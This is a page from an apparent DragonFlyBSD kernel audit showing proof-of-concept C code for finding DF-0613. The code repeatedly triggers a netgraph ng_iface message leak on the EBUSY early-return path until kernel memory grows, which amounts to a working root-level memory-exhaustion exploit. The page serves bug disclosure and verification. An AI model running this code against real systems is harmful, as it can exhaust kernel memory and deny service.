โฌข DragonFlyBSD Kernel Audit
DF-0613 / leak_ng_iface.c
โ† back to finding โ†“ download raw
/*
 * DF-0613 PoC โ€” ng_iface rcvmsg msg leak on EBUSY early return
 *
 * When NGM_IFACE_POINT2POINT (or NGM_IFACE_BROADCAST) is sent while the
 * interface is UP, ng_iface_rcvmsg() does `return (EBUSY)` at line 666,
 * bypassing the function epilogue that frees `msg` at line 732.
 * Each such call leaks sizeof(struct ng_mesg) + arglen bytes of M_NETGRAPH.
 *
 * This PoC:
 *   1. Opens an NG_CONTROL socket (root-only: caps_priv_check RESTRICTEDROOT)
 *   2. Creates an ng_iface peer node via NGM_MKPEER (hook "inet")
 *   3. Queries the interface name via NGM_IFACE_GET_IFNAME
 *   4. Brings the interface UP via SIOCSIFFLAGS
 *   5. Spams NGM_IFACE_POINT2POINT messages โ€” each leaks the request buffer
 *
 * Usage: ./leak_ng_iface [iterations] [arglen]
 *   iterations  default 2000
 *   arglen      default 0  (extra leak bytes per call; sizeof(ng_mesg) ~= 56)
 *
 * Verify: vmstat -m | grep Netgraph  โ€” memory climbs by ~iterations*(56+arglen)
 *
 * Must run as root (ngc_attach requires SYSCAP_RESTRICTEDROOT).
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>
#include <netgraph/iface/ng_iface.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define MKPEER_OURHOOK  "leak"          /* hook on our control-socket node */
#define MKPEER_PEERHOOK NG_IFACE_HOOK_INET

static int
ng_send_control(int s, const char *path, u_int32_t cookie,
                u_int32_t cmd, const void *arg, u_int16_t arglen)
{
    struct {
        struct ng_mesg hdr;
        char data[4096];
    } msg;
    struct sockaddr_ng dst;
    int pathlen;

    memset(&msg, 0, sizeof(msg));
    msg.hdr.header.version  = NG_VERSION;
    msg.hdr.header.typecookie = cookie;
    msg.hdr.header.cmd      = cmd;
    msg.hdr.header.arglen   = arglen;
    if (arglen > 0 && arglen <= sizeof(msg.data))
        memcpy(msg.data, arg, arglen);

    pathlen = strlen(path);
    memset(&dst, 0, sizeof(dst));
    dst.sg_family = AF_NETGRAPH;
    dst.sg_len = 2 + pathlen;
    if (dst.sg_len > sizeof(dst))
        dst.sg_len = sizeof(dst);
    memcpy(dst.sg_data, path, pathlen);

    return sendto(s, &msg, sizeof(msg.hdr) + arglen, 0,
                  (struct sockaddr *)&dst, dst.sg_len);
}

int
main(int argc, char **argv)
{
    int s, ifd, i, iter, arglen;
    struct ngm_mkpeer mkpeer;
    struct ng_iface_ifname ifname;
    struct ifreq ifr;
    ssize_t n;

    iter   = (argc > 1) ? atoi(argv[1]) : 2000;
    arglen = (argc > 2) ? atoi(argv[2]) : 0;
    if (arglen < 0) arglen = 0;
    if (arglen > 4096) arglen = 4096;

    /* 1. Open NG_CONTROL socket (root-only) */
    s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
    if (s < 0) {
        perror("socket(PF_NETGRAPH, NG_CONTROL)");
        fprintf(stderr, "Note: ngc_attach requires root (SYSCAP_RESTRICTEDROOT)\n");
        return 1;
    }
    printf("[+] Opened NG_CONTROL socket fd=%d\n", s);

    /* 2. Create ng_iface peer node via NGM_MKPEER */
    memset(&mkpeer, 0, sizeof(mkpeer));
    strlcpy(mkpeer.type, NG_IFACE_NODE_TYPE, sizeof(mkpeer.type));
    strlcpy(mkpeer.ourhook, MKPEER_OURHOOK, sizeof(mkpeer.ourhook));
    strlcpy(mkpeer.peerhook, MKPEER_PEERHOOK, sizeof(mkpeer.peerhook));

    n = ng_send_control(s, ".", NGM_GENERIC_COOKIE, NGM_MKPEER,
                        &mkpeer, sizeof(mkpeer));
    if (n < 0) {
        perror("NGM_MKPEER iface");
        close(s);
        return 1;
    }
    printf("[+] Created ng_iface peer node (hook %s -> %s)\n",
           MKPEER_OURHOOK, MKPEER_PEERHOOK);

    /* 3. Query interface name via NGM_IFACE_GET_IFNAME */
    n = ng_send_control(s, MKPEER_OURHOOK, NGM_IFACE_COOKIE,
                        NGM_IFACE_GET_IFNAME, NULL, 0);
    if (n < 0) {
        perror("NGM_IFACE_GET_IFNAME");
        close(s);
        return 1;
    }
    /* Read the response from the socket โ€” it's a full ng_mesg struct */
    {
        struct {
            struct ng_mesg hdr;
            char data[512];
        } resp;
        n = recv(s, &resp, sizeof(resp), 0);
        if (n < (ssize_t)sizeof(struct ng_mesg)) {
            fprintf(stderr, "short response from GET_IFNAME: %zd bytes\n", n);
            close(s);
            return 1;
        }
        memcpy(&ifname, resp.data, sizeof(ifname));
    }
    printf("[+] Interface name: %s\n", ifname.ngif_name);

    /* 4. Bring interface UP via SIOCSIFFLAGS */
    ifd = socket(AF_INET, SOCK_DGRAM, 0);
    if (ifd < 0) {
        perror("socket(AF_INET)");
        close(s);
        return 1;
    }
    memset(&ifr, 0, sizeof(ifr));
    strlcpy(ifr.ifr_name, ifname.ngif_name, sizeof(ifr.ifr_name));
    if (ioctl(ifd, SIOCGIFFLAGS, &ifr) < 0) {
        perror("SIOCGIFFLAGS");
        close(ifd);
        close(s);
        return 1;
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(ifd, SIOCSIFFLAGS, &ifr) < 0) {
        perror("SIOCSIFFLAGS (UP)");
        close(ifd);
        close(s);
        return 1;
    }
    close(ifd);
    printf("[+] Brought %s UP\n", ifname.ngif_name);

    /* 5. Spam NGM_IFACE_POINT2POINT โ€” each call leaks the msg buffer */
    printf("[*] Sending %d NGM_IFACE_POINT2POINT messages (arglen=%d)...\n",
           iter, arglen);
    printf("[*] Expected leak: ~%d bytes (%d * (%zu + %d))\n",
           iter * ((int)sizeof(struct ng_mesg) + arglen),
           iter, sizeof(struct ng_mesg), arglen);
    printf("[*] Check 'vmstat -m | grep Netgraph' before/after\n");

    for (i = 0; i < iter; i++) {
        n = ng_send_control(s, MKPEER_OURHOOK, NGM_IFACE_COOKIE,
                            NGM_IFACE_POINT2POINT, NULL, arglen);
        if (n < 0) {
            if (errno == EAGAIN || errno == ENOBUFS)
                continue;
            /* EBUSY is expected โ€” that's the leak path! */
            if (errno != EBUSY)
                fprintf(stderr, "sendto failed at iter %d: %s (errno %d)\n",
                        i, strerror(errno), errno);
        }
        if ((i + 1) % 500 == 0)
            printf("    ... %d/%d sent\n", i + 1, iter);
    }

    printf("[+] Done: sent %d messages\n", iter);
    printf("[+] Each message leaked ~%zu bytes (sizeof(ng_mesg) + arglen=%d)\n",
           sizeof(struct ng_mesg) + arglen, arglen);
    printf("[+] Total leaked: ~%d bytes\n",
           iter * ((int)sizeof(struct ng_mesg) + arglen));
    printf("[*] Run 'vmstat -m | grep -i netgraph' to confirm M_NETGRAPH growth\n");

    close(s);
    return 0;
}